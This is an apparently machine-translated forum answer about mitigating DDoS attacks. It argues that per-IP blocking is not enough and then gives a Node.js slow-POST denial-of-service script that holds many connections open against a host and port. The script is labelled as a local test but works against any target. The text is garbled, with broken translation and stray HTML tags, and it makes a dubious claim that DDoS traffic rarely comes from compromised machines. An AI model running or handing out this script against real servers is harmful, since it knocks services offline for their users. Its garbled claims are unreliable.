我认为你对这个漏洞采取了错误的方法。
这没有涉及
DDOS attack
(分布式拒绝服务),其中使用了许多IP,以及何时需要继续为与攻击中涉及的计算机位于同一防火墙内的某些计算机提供服务。
DDOS中使用的机器通常不是已经被接管的真实机器(可能是虚拟化的或者使用软件来从不同的IP中进行)。
当针对大型目标的DDOS启动时,每IP限制可能会禁止来自同一防火墙LAN的所有计算机。
要继续在DDOS面前提供服务,您确实需要根据请求本身的公共元素来阻止请求,而不仅仅是IP。 security.se可能是有关如何做到这一点的具体建议的最佳论坛。
不幸的是,与XSRF不同,DOS攻击不需要源自真实浏览器,因此任何不包含紧密包含和不可删除的nonce的头文件都可能被欺骗。
的
建议:为防止出现此问题,您必须拥有针对DDos攻击和大规模拒绝服务的良好防火墙策略。
</强>
但!如果您想使用node.js测试拒绝服务,可以使用此代码(仅用于测试目的,不用于生产环境)
var net = require(‘net’);
var maxConnections = 30;
var connections = [];
var host = “127.0.0.1”;
var port = 80;
function Connection(h, p)
{
this.state = ‘active’;
this.t = Date.now();
this.client = net.connect({port:p, host:h}, () => {
process.stdout.write("Connected, Sending... ");
this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
"Content-Type: application/x-www-form-urlenconded\r\n" +
"Content-Length: 385\r\n\r\nvx=321&d1=fire&l");
process.stdout.write("Written.\n");
});
this.client.on('data', (data) => {
console.log("\t-Received "+data.length+" bytes...");
this.client.end();
});
this.client.on('end', () => {
var d = Date.now() - this.t;
this.state = 'ended';
console.log("\t-Disconnected (duration: " +
(d/1000).toFixed(3) +
" seconds, remaining open: " +
connections.length +
").");
});
this.client.on('error', () => {
this.state = 'error';
});
connections.push(this);
}
setInterval(() => {
var notify = false;
// Add another connection if we haven't reached
// our max:
if(connections.length < maxConnections)
{
new Connection(host, port);
notify = true;
}
// Remove dead connections
connections = connections.filter(function(v) {
return v.state=='active';
});
if(notify)
{
console.log("Active connections: " + connections.length +
" / " + maxConnections);
}
}, 500);
</code>